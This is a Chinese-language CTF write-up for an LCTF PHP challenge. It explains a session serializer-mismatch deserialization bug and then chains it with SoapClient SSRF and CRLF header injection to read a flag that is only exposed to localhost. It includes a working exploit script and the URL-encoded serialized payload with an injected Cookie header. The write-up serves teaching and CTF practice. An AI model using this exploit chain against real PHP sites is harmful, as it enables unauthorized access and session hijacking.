进入这个页面又是令人激动的代码审计环节.
不过再次之前呢先补充一些弥足珍贵的知识点.
前置知识点:
call_user_func()
call_user_func()
是 PHP 中的一个非常有用的函数,它允许你调用一个回调函数。回调函数可以是一个匿名函数(也称为闭包),或者是一个已经定义好的函数名(字符串形式)。此外,你还可以传递一个数组作为第一个参数,其中数组的第一个元素是对象,第二个元素是该对象上要调用的方法名,从而实现对对象方法的调用。
session_start();
首先我们给我一段代码来看看三种不同的session.serialize_handler 配置对数据序列化格式的影响.
<?php
session_start();
$_SESSION['name'] = 'love';
?>
session.serialize_handler=php name|love
session.serialize_handler=php_serialize a:1:{s:4:"name";s:4:"love";}
session.serialize_handler=php_binary 二进制格式不可读
当session.serialize_handler序列化与反序列化存储引擎不同的时候即可触发漏洞
举个例子:
当我们传入$_SESSION['name'] = '|love'并且序列化时,此时存储引擎为php_serialize
那么存储的结果为:a:1:{s:4:"name";s:5:"|love";}
之后反序列化时用的存储引擎为php时,反序列化结果为[a:1:{s:4:"name";s:5:"] =>[love]
意思是他的key-value结构中key:a:1:{s:4:"name";s:5:" 而value:love ,从而触发漏洞.
PHP原生类SoapClient
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求.
解释:
PHP 的
SoapClient
类是用于访问 SOAP(Simple Object Access Protocol)服务的。SOAP 是一种基于 XML 的协议,它允许网络服务在应用程序之间交换信息。PHP 的SoapClient
类提供了一种简单的方式来与 SOAP Web 服务进行交互。
配置选项:
SoapClient
构造函数接受一个可选的关联数组作为第二个参数,该数组可以包含各种配置选项,如上面示例中的trace
和exceptions
。其他常见的选项包括:
location
:SOAP 服务的地址(如果 WSDL 文件中未指定)。uri
:SOAP 请求的命名空间 URI。soap_version
:指定 SOAP 版本(SOAP_1_1 或 SOAP_1_2)。encoding
:字符编码(如 'UTF-8')。
vardump()
var_dump()
是 PHP 中一个非常有用的函数,它用于输出变量的详细信息,包括变量的类型和值。当你需要调试 PHP 脚本中的变量时,var_dump()
是一个非常有用的工具,因为它不仅显示变量的值,还显示变量的类型(如 int、string、array、object 等)。
reset($_SESSION)
举个例子吧.
<?php
session_start();
$_SESSION['user_id'] = 1;
$_SESSION['username'] = 'john_doe';
$_SESSION['email'] = 'john@example.com';
// 重置内部指针到第一个元素
reset($_SESSION);
// 获取第一个键值对
$first_key = key($_SESSION); // 'user_id'
$first_value = current($_SESSION); // 1
echo "第一个键: $first_key, 第一个值: $first_value"; // 输出: 第一个键: user_id, 第一个值: 1
?>
意思是reset()函数会指向session存储内部的第一个键值对.
CRLF漏洞
CRLF(Carriage Return Line Feed)漏洞是一种常见的网络安全漏洞,通常出现在Web应用程序中。它允许攻击者通过注入特定的字符序列(CR和LF)来操控HTTP响应头,从而可能导致HTTP响应拆分、跨站点脚本(XSS)或其他攻击。
举个例子:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
这个时候我们可以看到通过\r\n在SoapClient的attrack对象中还添加了PHPSESSION,从而实现控制请求头.
payload:
之后我们开是注入.
访问该网页的flag.php目录.
得到flag.php页面的源代码.
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
意思是访问者的IP地址要为127.0.0.1,如何为真则将flag的内容存储到SESSION[flag]中去,之后我们就可以通过携带正确的session去获得flag的value(vardump($_SESSION)--显示出flag的value),那么我们需要SSRF漏洞来实现.
那么我们需要SSRF那么就可以用SoapClient去实现,我们可以调用SoapClient类不存在的方法,从而调用它的_call方法,去实现对其内部定义的location地址的访问(自己访问自己).
首先我们要定义这个类并且控制其内容,之后调用一个它不存在的方法,同时注意要存在正确的session(通过CRLF漏洞实现),最后通过携带正确的session的value去获取该session所储存在服务器的key-value(flag值).
话不多是开始实践:
首先构造SoapClient的序列化value.
exp:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
result:
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Dtcjr6nadpk3md7jbgioa6elfk4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
开始注入.
首先传入构造好的序列化对象(name=....),并改变服务器session存储器的类型(GET:f=session_start POST:seralize_handler=php_serialize)使其成功存入.
之后调用SoapClient类的_call方法,造成SSRF请求伪造. (name=SoapClient,f=extract,POST:b=call_user_func),其中f的作用是将b的implode变量覆盖从而达到call_user_func(array(call_user_func,SoapClient))的效果.
带着自定义的cookie去访问目标服务器从而获取flag.
游戏结束~